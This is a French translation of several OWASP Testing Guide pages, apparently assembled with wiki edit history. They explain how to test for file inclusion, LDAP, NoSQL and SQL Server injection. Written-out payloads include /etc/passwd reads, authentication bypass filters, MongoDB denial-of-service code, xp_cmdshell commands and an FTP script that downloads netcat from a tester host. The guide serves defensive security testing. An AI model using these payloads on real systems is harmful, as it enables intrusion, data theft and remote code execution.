{{Template:OWASP Testing Guide v4}}
== Sommaire ==

Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.

Cela peut entraîner comme impact l'affichage du contenu du fichier, mais selon la criticité, cela peut aussi causer :

* L'exécution de code sur le serveur web
* L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)
* Un déni de service (DOS)
* Des fuites d'informations sensibles

L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : '''Local File Inclusion''') est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection de caractères permettant de changer de répertoire (tels que point-point-slash). Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.

== Comment tester ==

Comme les LFI adviennent quand des chemins passés à des instructions "include" ne sont pas correctement validés, dans un approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres.

Considérons l'exemple suivant :

<pre>
http://vulnerable_host/preview.php?file=example.html
</pre>

Cela semble être l'endroit parfait pour tenter un LFI. Si un attaquant a assez de chance, et que le script inclut directement le paramètre au lieu de sélectionner la page dans un tableau, il est possible d'inclure arbitrairement tout fichier du serveur.

Une preuve de concept typique est de charger le fichier des mots de passe :
<pre>
http://vulnerable_host/preview.php?file=../../../../etc/passwd
</pre>

Si les conditions mentionnées plus haut sont réunies, un attaquant verra quelque chose ressemblant à :
<pre>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
</pre>

Très souvent, même quand de telles vulnérabilités existent, leurr exploitation est un peu plus complexe. Considérons le morceau de code suivant :
<pre>
<?php “include/”.include($_GET['filename'].“.php”); ?>
</pre>

Dans ce cas, un simple remplacement du nom du fichier ne fonctionnera pas puisque le suffixe '.php' est ajouté. Pour contourner cela, on utilise une technique avec des terminateurs octets nuls. Comme %00 indique la fin de la chaîne, tout caractère suivant cet octet spécial sera ignoré. Ainsi, la requête suivante retournera aussi la liste des attributs basiques des utilisateurs :

<pre>
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
</pre>

== Références ==

* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion

== Remédiation ==

La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.

2015-01-12T12:25:52Z

Jcpraud:

4.8.6 Tester les injections LDAP (OTG-INPVAL-006)

2015-01-10T23:02:54Z

Jcpraud: Created page with "{{Template:OWASP Testing Guide v4}} == Sommaire == LDAP (Lightweight Directory Access Protocol) est utilisé pour stocké des informations sur les utilisateurs, hôtes, et b..."

{{Template:OWASP Testing Guide v4}}

== Sommaire ==
LDAP (Lightweight Directory Access Protocol) est utilisé pour stocké des informations sur les utilisateurs, hôtes, et bien d'autres objets. Une injection LDAP ([[LDAP injection]]) est une attaque côté serveur qui permet que des informations sensibles à propos des utilisateurs et des hôtes représentées dans une structure LDAP soient divulguées, modifiées ou ajoutées. Cela se fait en manipulant des paramètres d'entrée passés ensuite à des fonctions internes de recherche, ajout et modification.

Une application web peut utiliser LDAP pour permettre à ses utilisateurs de s'authentifier ou de rechercher des informations sur d'autres utilisateurs, tout ceci à l'intérieur d'une entreprise. Le but des attaques par injection LDAP est d'injecter des metacaractères de filtres de recherches dans une requête qui sera exécutée par l'application.

La [[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]] définie une grammaire permettant de construire des filtres de recherches sur LDAPv3. Elle étend la [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).

Un filtre de recherche LDAP est construit en notation polonaise, aussi connue sous le nom [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].

Cela signifie que le pseudo code d'une condition sur un filtre de recherche ressemblera à ceci :

find("cn=John & userPassword=mypass")

et sera représenté :

find("(&(cn=John)(userPassword=mypass))")

Les conditions booléennes et les agrégats de groupes sur un filtre de recherche LDAP peuvent être effectués en utilisant les méta-caractères :
{| border=1
|| '''Metacaractère''' || '''Signification'''
|-
|| & || ET boolean
|-
|| | || OU boolean
|-
|| ! || NON boolean
|-
|| = || Egal
|-
|| ~= || Approximation
|-
|| >= || Plus grand que
|-
|| <= || Plus petit que
|-
|| * || caractère quelconque
|-
|| () || parenthèses groupantes
|-
|}

Les RFC concernées contiennet des exemples plus complets de filtres de recherches

Une exploitation réussie d'une vulnérabilité d'injection LDAP va permettre au testeur de :

* Accéder à du contenu non autorisé
* Contourner les restrictions de l'application
* Récolter des information non aotorisées
* Ajouter ou modifier des objets dans l'arborescence LDAP

== Comment tester ==

=== Exemple 1: Filtres de recherche ===

Supposons une application web utilisant un filtre de recherche comme celui-ci :

searchfilter="(cn="+user+")"

qui est instancié par une requête HTTP telle que :

<nowiki>http://www.example.com/ldapsearch?user=John</nowiki>

Si la valeur 'John' est remplacée par '*', dans la requête :

<nowiki>http://www.example.com/ldapsearch?user=*</nowiki>

le filtre va ressembler à :

searchfilter="(cn=*)"

qui va sélectionner tout les objet dont l'attribut 'cn' est égal à n'importe quelle valeur.

Si l'application est vulnérable aux injections LDAP, les attributs de quelques utilisateurs, ou de tous, seront affichés, selon le flux d'exécution de l'application et les permissions de l'utilisateur LDAP connecté.

Un testeur pourra utiliser une approche pas à pas, en insérant dans les paramètres '(', '|', '&', '*' et d'autres caractères, afin de causer des erreurs dans l'application.

=== Exemple 2: Authentification ===

Si une application utilise LDAP dans son processus d'authentification des utilisateurs, et qu'elle est vulnérable aux injection LDAP, il est possible de contourner cette authentification en injectant une requête LDAP qui sera toujours vraie (de manière similaire aux injection SQL et XPATH).

Supossons qu'une application web utilise un filtre pour faire la correspondance utilisateur LDAP / mot de passe.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

En utilisant les valeurs suivantes :

<nowiki>user=*)(uid=*))(|(uid=*
pass=password</nowiki>

le filtre de recherche sera :

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

qui est correct et toujours vrai. De cette manière, le testeur va obtenir un statut authentifié, avec les droits du premier utilisateur de l'arborescence LDAP.

==Outils==
Softerra LDAP Browser - http://www.ldapadministrator.com/

== Références ==
'''Whitepapers''' 
Sacha Faust: "LDAP Injection: Are Your Applications Vulnerable?" - http://www.networkdls.com/articles/ldapinjection.pdf 
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm 
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html 

<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt

User:Jcpraud

2015-01-10T23:02:37Z

Jcpraud:

4.8.5.6 Tester les injections NoSQL

2015-01-10T20:40:53Z

Jcpraud: Created page with "{{Template:OWASP Testing Guide v4}} == Sommaire == Les bases de données NoSQL offrent des contraintes d'intégrité plus souples que les bases de données SQL traditio..."

{{Template:OWASP Testing Guide v4}}

== Sommaire ==
 
Les bases de données NoSQL offrent des contraintes d'intégrité plus souples que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérification d'intégrité, les bases NoSQL offrent souvent des bénéfices en matière de performances et de scalabilité. Cependant, ces bases sont quand-même vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL classique. Comme ces attaques par injections NoSQL peuvent s'exécuter dans un langage procédural [http://en.wikipedia.org/wiki/Procedural_programming] plutôt que dans un langage déclaratif SQL [http://en.wikipedia.org/wiki/Declarative_programming], les impacts potentiels sont plus grands.
 

Les appels aux bases NoSQL sont écrits dans le langage de l'application, une API spécialisée, ou formattés selon une convention commune (telle que XML, JSON, LINQ, etc.). Des entrées malicieuses ciblant ces spécifications peuvent ne pas déclencher les vérifications au niveau applicatif. Par exemple, filtrer les caractères spéciaux HTML usuels tels que <code> < > & ; </code> n'empêchera pas les attaques contre une API JSON, où les caractères spéciaux sont <code> / { } : </code>.

Plus de 150 bases de données NoSQL sont aujourd'hui disponibles [http://nosql-database.org/], fournissant des APIs dans divers langages et modèles de relations. Chacune fournie différentes fonctionnalités et restrictions. Comme il n'y a pas de langage commun à toutes, les exemples d'injection ne fonctionneront pas sur toutes les bases NoSQL. Pour cette raison, quiconque doit tester des attaques par injection NoSQL doit se familiariser avec la syntaxe, le modèle de données, et le langage de programmation sous-jacent, afin de concevoir des tests spécifiques.

Les attaques par injection NoSQL peuvent être exécutées dans des parties différentes de l'application, comparées aux injections SQL traditionnelles. Les injections SQL s'exécutent dans le moteur de base de données, alors que les variantes NoSQL vont s'exécuter dans la couche applicative ou dans la couche de bases de données, selon l'API NoSQL utilisée et le modèle de données. Typiquement, les attaques par injection NoSQL vont sexécuter là où la chaîne d'attaque est analysée, évaluée ou concaténée en un appel d'API NoSQL.

Le manque de vérification concurrentielle dans les bases NoSQL peut aussi permettre des attaques temporelles. Elles ne seront pas traitées ici. Actuellement, MongoDB est la base NoSQL la plus utilisée, donc nos exemples se concentreront sur son API.
 

== Comment tester ==
'''Tester les vulnérabilité d'injection NoSQL dans MongoDB :''' 
L'API MongoDB attend des appels BSON (JSON binaire), et comporte un outil sécurisé d'assemblage de requête BSON. Cependant, d'après la documentation de MongoDB, du JSON non-sérialisé et des expressions JavaSctipt sont permis dans plusieurs paramètres de requête alternatifs [http://docs.mongodb.org/manual/faq/developers/#javascript]. L'opérateur $where est l'appel d'API le plus commun permettant une entrée Javascript arbitraire.

L'opérateur $where de MongoDB est typiquement utilisé comme un simple filtre ou vérification, de la même manière qu'en SQL.

<code> db.myCollection.find( { $where: "this.credits == this.debits" } ); </code>

JavaScript peut aussi être évalué pour permettre des conditions plus avancées.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

===Exemple 1===

Si un attaquant peut manipuler les données passées à l'opérateur $where, il pourra inclure du JavaScript arbitraire qui sera évalué dans la requête MongoDB. Un exemple de vulnérabilité est présenté dans le code suivant, sachant que l'entrée utilisateur est passée directement dans la requête MongoDB sans nettoyage.

<code>db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;</code>

Comme pour les autres tests d'injection, on n'a pas besoin d'exploiter complètement la vulnérabilité pour démontrer un problème. En injectant des caractères spéciaux adaptés au langage de l'API ciblée, et en observant les résultats, un testeur pourra déterminer si l'application valide correctement les entrées. Par exemple, dans MongoDB, si une chaîne contenant l'un des caractères spéciaux suivants est passée sans vérification, cela entraînera une erreur de la base de données.

<code>' " \ ; { }</code>

Dnas le cas d'une injection SQL normale, une vulnérabilité similaire permettrait à un attaquant d'exécuter des commandes SQL arbitraires, accédant et manipulant les données à volonté. Cependant, comme JavaScript est un langage complet, il ne permet pas seulement de manipuler des données, mais aussi d'exécuter du code arbitraire. Par exemple, au lieu de causer seulement une erreur pendant les tests, un exploit complet serait d'utiliser des caractères spéciaux pour construire du JavaScript valide.

Cette entrée, <code>0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)</code>, insérée dans $userInput dans l'exemple précédent, résulterait en l'exécution de la fonction JavaScript suivante. Cette chaîne d'attaque spécifique forecerait le serveur MongoDB à utiliser 100 de son CPU pendant 10 secondes.

<code>function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }</code>

===Exemple 2===

Même si les entrées utilisées dans les requêtes sont complétement vérifiées et nettoyées, il y a une autre manière de déclencher une injection NoSQL. Beaucoup d'instances NoSQL ont leur noms de variable réservés, indépendants du langage de programmation de l'application.

Par exemple, dans MongoDB, la syntaxe <code>$where</code> elle-même est un opérateur de requête réservé. Il doit être passé dans la requête exactement comme montré ici, toute modification causerait une erreur de base de données. Cependant, comme <code>$where</code> est aussi un nom de variable PHP valide, il est possible à un attaquant d'insérer du code dans la requête en créant une variable PHP nommée <code>$where</code>. La documentation PHP de MongoDB averti explicitement les développeurs : <pre>Assurez-vous s'il vous plait que pour chaque opérateur de requête (commençant par $) vous utilisez des simples quotes afin que PHP n'essaie pas de remplacer "$exists" par la valeur de la variable $exists.</pre>

Même pour une requête sans entrée utilisateur, telle que l'exemple suivant, un attaquant peut exploiter MongoDB en remplaçant l'opérateur par des données malicieuses.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

Une manière d'affecter des données à une variable PHP est d'utiliser la pollution de paramètres HTTP (cf. [[Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)]]). En créant une variable nommée <code>$where</code> vie une pollution de paramètres, on peut déclencher une erreur MongoDB indiquant que la requête n'est plus valide. Toute valeur de <code>$where</code> autre que la chaîne "$where" elle-même devrait démontrer la vulnérabilité. Un attaquant développerait un exploit complet en insérant le code suivant : <code>"$where: function() { //arbitrary JavaScript here }"</code>

 
== Références ==
'''Whitepapers''' 
Bryan Sullivan from Adobe: "Server-Side JavaScript Injection" - https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

Bryan Sullivan from Adobe: "NoSQL, But Even Less Security" - http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf

Erlend from Bekk Consulting: "[Security] NOSQL-injection" - http://erlend.oftedal.no/blog/?blogid=110

Felipe Aragon from Syhunt: "NoSQL/SSJS Injection" - http://www.syhunt.com/?n=Articles.NoSQLInjection

MongoDB Documentation: "How does MongoDB address SQL or Query injection?" - http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection

PHP Documentation: "MongoCollection::find" - http://php.net/manual/en/mongocollection.find.php

"Hacking NodeJS and MongoDB" - http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html

"Attacking NodeJS and MongoDB" - http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html

2015-01-10T16:34:01Z

Jcpraud: Created page with "{{Template:OWASP Testing Guide v4}} == Sommaire == Nous allons présenter dans cette section quelques techniques d'injection SQL SQL Injection utilisant des fonctionnalit..."

{{Template:OWASP Testing Guide v4}}

== Sommaire ==
Nous allons présenter dans cette section quelques techniques d'injection SQL [[SQL Injection]] utilisant des fonctionnalités spécifiques à Microsoft SQL Server.

Les vulnérabilités d'injections SQL [[SQL Injection]] adviennent chaque fois qu'une entrée est utilisée dans la construction d'une requête SQL sans avoir été contrôlées et nettoyées. L'utilisation de code SQL dynamique (construction de requêtes SQL par concaténation de chaînes) ouvre la voie à ces vulnérabilités. Une injection SQL permet à un attaquant d'accéder à des serveurs SQL. Cela permet l'exécution de code SQL avec les privilèges de l'utilisateur utilisé pour se connecter à la base de données.

Comme expliqué dans la section [[SQL injection]], une exploitation d'injection SQL nécessite deux choses : un point d'entrée, et une exploitation à entrer. Tout paramètre contrôlé par l'utilisateur et traité par l'application peut dissimuler une vulnérabilité. Cela inclut :

* Les paramètres applicatifs dans les chaînes des requêtes (c'est-à-dire les requêtes GET)
* Les paramètres applicatifs inclus dans les requêtes POST
* Les informations liées aux navigateur (c'est-à-dire les user-agent, referer)
* Les informations liées aux hôtes (c'est-à-dire les noms d'hôtes, leurs adresses IP)
* Les informations liées aux sessions (c'est-à-dire le dientifiants utilisateur, les cookies)

Microsoft SQL Server a quelques caractéristiques spécifiques, il faut donc adapter les exploits à cette application.

== Comment tester ==

===Caractéristiques de SQL Server===

Pour commencer, voyons quels les opérateurs et commande/procédures stockées de SQL Server qui peuvent être utiles pour tester les injections SQL :

* Opérateur de commentaire : -- (utile pour forcer la requête à ignorer la partie suivante de la requête d'origine ; cela ne sera pas nécessaire dans tous les cas)
* Séparateur de requête : ; (point-virgule)
* Quelques procédures stockées utiles :
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] exécute une commande shell quelconque, avec les permissions de SQL Server. Par défaut, uniquement l'utilisateur '''sysadmin''' est autorisé à utiliser cette procédure, et depuis SQL Server 2005 cet utilisateur est désactivé par défaut (il peut être réactivé en utilisant sp_configure)
** '''xp_regread''' lit une valeur arbitraire dans la Registry (procédure étendue non documentée)
** '''xp_regwrite''' écrit une valeur dans la Registry (procédure étendue non documentée)
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] lance une commande shell Windows et lui passe une chaîne à exécuter. Toutes les sorties seront retournées en ligne de texte. Necessite les privilèges '''sysadmin'''.
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] envoie un courriel aux destinataires donnés, qui peut inclure un résultat de requête en pièce-jointe. Cette procédure étendue utilise SQL Mail pour envoyer le message.
 

Voyons maintenant quelques exemples d'attaques spécifiques à SQL Server utilisant les fonctions mentionnées ci-dessus. La plupart des ces exemples vont utiliser la fonction '''exec'''.

Nous allons montrer plus bas une commande shell qui écrit la sortie de la commande ''dir c:\inetpub'' dans un fichier accessible par le web, considérant que le serveur web et le serveur de base de données sont sur la même machine. La syntaxe suivante utilise xp_cmdshell :
<pre>
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
</pre>
On pourrait aussi utiliser sp_makewebtask:
<pre>
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
</pre>

Une exécution réussie va créer un fichier qui peut être accédé par le testeyr. Il faut garde à l'esprit que sp_makewebtask est obsolète, elle pourrait être supprimée dans les versions ultérieures à SQL Server 2005.

De plus, SQL Server comporte des fonctions intégrées eet des variables d'environnement qui peuvent être très utiles. La requête suivant utilise la fonction '''db_name()''' pour déclencher une erreur qui va retourner le nom de la base de données :
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
</pre>

Remarquer l'utilisation de [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
<pre>
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
</pre>

CONVERT va essayer de convertir le résultat de db_name (une chaîne) en une variable entière, déclencher une erreur qui, si elle est affichée par l'application vulnérable, va contenir le nom de la base.

L'exemple suivant utilise la variable d'environnement '''@@version ''', en la combinant avec une injection de type "union select", afin de découvrir la version de SQL Server.
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
</pre>

Et la même attaque, en utilisant la technique de conversion :
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
</pre>

La récolte d'information est utile pour exploiter les vulnérabilités d'SQL Server, grâce à des attaques par injections SQL ou accès direct au listener SQL.

Nous allons maintenant montrer des exemples qui exploitent des vulnérabilités d'injections SQL via divers points d'entrées.

===Exemple 1: tester une injection SQL via une requête GET. ===

Le cas le plus simple (et souvent le plus avantageux) est celui d'une page de connexion demandant un identifiant d'utilisateur et un mot de passe. On peut y entrer la chaîne suivante "' or '1'='1" (sans les guillemets) :

<nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>

Si l'application utilise des requêtes SQL dynamiques, que la chaîne est ajoutée à la requête de vérification des accès utilisateur, cela peut résulter en une connexion réussie à l'application.

===Exemple 2: tester une injection SQL dans une requête GET===

Pour connaître le nombre de colonnes existantes

<nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>

===Exemple 3: tester dans une requête POST ===

Injection SQL dans le contenu d'une requête POST : email=%27&whichSubmit=submit&submit.x=0&submit.y=0

Un exemple plus complet :

POST <nowiki>https://vulnerable.web.app/forgotpass.asp HTTP/1.1</nowiki>
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: <nowiki>http://vulnerable.web.app/forgotpass.asp</nowiki>
Content-Type: application/x-www-form-urlencoded
Content-Length: 50 
email=%27&whichSubmit=submit&submit.x=0&submit.y=0

Le message d'erreur suivant est obtenu quand on entre un ' (simple quote) dans le champ email :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

===Exemple 4: Un autre exemple GET utile===

Récupérer le code source de l'application :

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

===Exemple 5: xp_cmdshell personnalisé===

Dans tous les ouvrages et articles traitant des bonnes pratiques de sécurité pour SQL Server, il est recommandé de désactiver xp_cmdshell dans SQL Server 2000 (dans SQL Server 2005 elle désactivée par défaut).
Cependant, si on a les droits sysadmin (nativement ou en burte-forçant le mot de passe sysadmin, voir plus bas), on peut contourner cette limitation.
 
Sous SQL Server 2000:
* Si xp_cmdshell a été désactivée avec sp_dropextendedproc, on peut injecter simplement le code suivant :
<pre>
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
</pre>
* Si le code précédent ne fonctionne pas, cela signifie que xp_log70.dll a été déplacé ou effacé. Dans ce cas on doit injecter le code suivant :
<pre>
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
</pre>

Ce code, écrit par Antonin Foller (voir les liens en bas de page), crée une nouvelle fonction xp_cmdshell en utilisant sp_oacreate, sp_oamethod et sp_oadestroy (à condition qu'elles n'aient pas aussi été désactivées, bien sûr). Avant de l'utiliser il faut d'abord effacer la première fonction xp_cmdshell que nous avons créée (même si elle ne fonctionnait pas), sinon les deux déclarations vont entrer en collision.
 
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:
<pre>
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure
</pre>

===Exemple 6: Referer / User-Agent===

L'entête REFERER a cette valeur :

Referer: <nowiki>https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--</nowiki>

Cela permet l'exécution de code SQL arbitraire. Cela arrive aussi si le User-Agent a cette valeur :

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

===Exemple 7: utiliser SQL Server comme un scanner de ports===

Sous SQL Server, OPENROWSET est une des commandes les plus utiles (pour le testeur d'intrusion). Elle est utilisée pour exécuter une requête sur un autre serveur de base de données et en récupérer les résultats.
Le tester peut utiliser cette commande pour scanner les ports des autres machines du réseau ciblé, en injectant la requête suivante :
<pre>
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
</pre>

La requête va tenter d'ouvrir une connexion vers l'adresse x.y.w.z sur le port p. Si le port est fermé, le message suivant sera retourné :
<pre>
SQL Server does not exist or access denied
</pre>

Si le port est ouvert, une des erreurs suivantes sera retournée :
<pre>
General network error. Check your network documentation
</pre>
<pre>
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
</pre>

Bien sûr, le message d'erreur n'est pas toujours disponible. Si c'est le cas, on peut utiliser le temps de réponse pour comprendre ce qui se passe : en cas de port fermé, le timeout (5 secondes dans cet exemple) sera écoulé, alors qu'un port ouvert retournera un résultat immédiatement.

Il faut garder à l'esprit que OPENROWSET est activée par défaut dans SQL Server 200 mais désactivée dans SQL Server 2005.

===Exemple 8: télécharger des exécutables===

Une fois que l'on peut utiliser xp_cmdshell (soit la version native soit la version personnalisée), on peut facilement télécharger des exécutables vers le serveur de base de données. Un choix très commun ser netcat.exe, mais un trojan quelconque sera aussi utile ici.
Si la cible est autorisée pour démarrer une connexion FTP vers la machine du testeur, il suffit d'injecter les requêtes suivantes :
<pre>
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
</pre>

A ce moment, nc.exe sera téléchargé et disponible.
 

Si le firewall n'autorise pas FTP, il y a moyen de le contourner en exploitant le debogueur Windows, debug.exe, qui est installé par défaut sur toutes les machines Windows. Debug.exe est scriptable et peut créer un exécutable en exécutant le fichier script approprié. Il faut donc convertir l'exécutable en un script de déboguage (qui est un fichier 100% ASCII), de le télécharger ligne par ligne et d'appeler debug.exe dessus. Divers outils permettent de créer de tels fichiers (par exemple makescr.exe d'Ollie Whitehouse et dbgtool.exe de toolcrypt.org). Les requêtes seront les suivantes :
<pre>
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
</pre>

A ce moment, notre exécutable est disponible sur la machine cible, prêt à être exécuté. Il y a des outils pour automatiser ce procédé, notamment Bobcat, tournant sous Windows, et Sqlninja, tournant sous Linux (voir les outils en bas de page).

===Obtenir des informations non affichées (out-of-band)===

Tout n'est pas perdu lorsque l'application web ne retourne aucune information, telle que des messages d'erreurs explicites (voir [[Blind SQL Injection]]). Par exemple, il peut arriver que l'on ait accès au code source (par exemple si l'application est basée sur un logiciel open source). Dans ce cas, le testeur peut exploiter toutes les vulnérabilités d'injection SQL découvertes dans l'application web. Bien qu'un IPS puisse stopper certaines de ces attaques, la meilleure manière de procéder est la suivante : développer et tester les attaques sur un banc d'essai créé à cet effet, puis exécuter ces attaques contre l'application cible elle-même.

D'autres options pour les attaques out-of-band sont dérites dans l'exemple 4 plus haut.

===Attaques d'injection SQL en aveugle===

====Essais et erreurs====
De manière différente, on peut tenter de jouer la chance. Dans ce cas, l'attaquant peut considérer qu'il y a une vulnérabilité d'injection SQL out-of-band dans une application web. Il va ensuite choisir un vecteur d'attaque (par exemple une entrée web), utiliser les vecteurs fuzz ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) contre ce canal et regarder les réponses. Par exemple, si l'application web recherche des livres en utilisant la requête

select * from books where title='''texte entré par l'utilisateur'''

alors le testeur peut entrer le texte : ''''Bomba' OR 1=1-''' et si les données ne sont pas correctement validées, la requête va passer et retourner la liste complète des livres. C'est la preuve qu'il y a une vulnérabilité d'injection SQL. Le testeur peut ensuite ''jouer'' avec les requêtes afin d'évaluer la gravité de cette vulnérabilité.

====Si plus d'un message d'erreur sont affichés====
D'autre part, si aucune information préalable n'est disponible, il y a quand même moyen de monter une attaque en exploitant un ''covert channel'' (canal couvert). Il peut arriver que les messages d'erreur soient bloqués, mais que ces messages donnent tout de même quelques informations. Par exemple :
* Dans certains cas, l'application web (en fait le serveur web) va retourner le message traditionnel ''500: Internal Server Error'', par exemple quand l'application renvoit une exception générée par des quotes non-fermées.
* Dans d'autres cas le serveur renverra un message 200 OK, alors que l'application retournera un message d'erreur défini par les développeurs : ''Internal server error'' ou ''bad data''.

Ces informations parcellaires peuvent suffire à comprendre comme la requête SQL dynamique est construite, et comment adapter une exploitation. Les résultats stockés dans des fichiers HTML accessibles sont une autre méthode out-of-band.

====Attaques temporelles====
Il y a encore une autre manière de procéder à une attaque d'injection SQL en aveugle quand on n'a pas de retour visible de l'application : en mesurant le temps que met l'application web à repondre à une requête. Anley ([2]) décrit un tel type d'attaque, le prochain exemple est tiré de cet article. Une approche classique est d'utiliser la commande ''waitfor delay'' : considérons que l'attaquant désire vérifier si la base de données d'exemple 'oubs' existe, il va simplement injecter la commande suivante :

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

En fonction du temps que va prendre la requête pour répondre, il aura sa réponse. En fait il y a deux choses : une '''vilnérabilité d'injection SQL''' et un '''canal caché''' qui permettent le testeur d'obtenir 1 bit d'information pour chaque requête. Ainsi, en utilisant plusieurs requêtes (autant que de bits d'information à récupérer), le testeur peut obtenir n'importe quelle donnée dans la base. Considérons la requête suivante :

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'
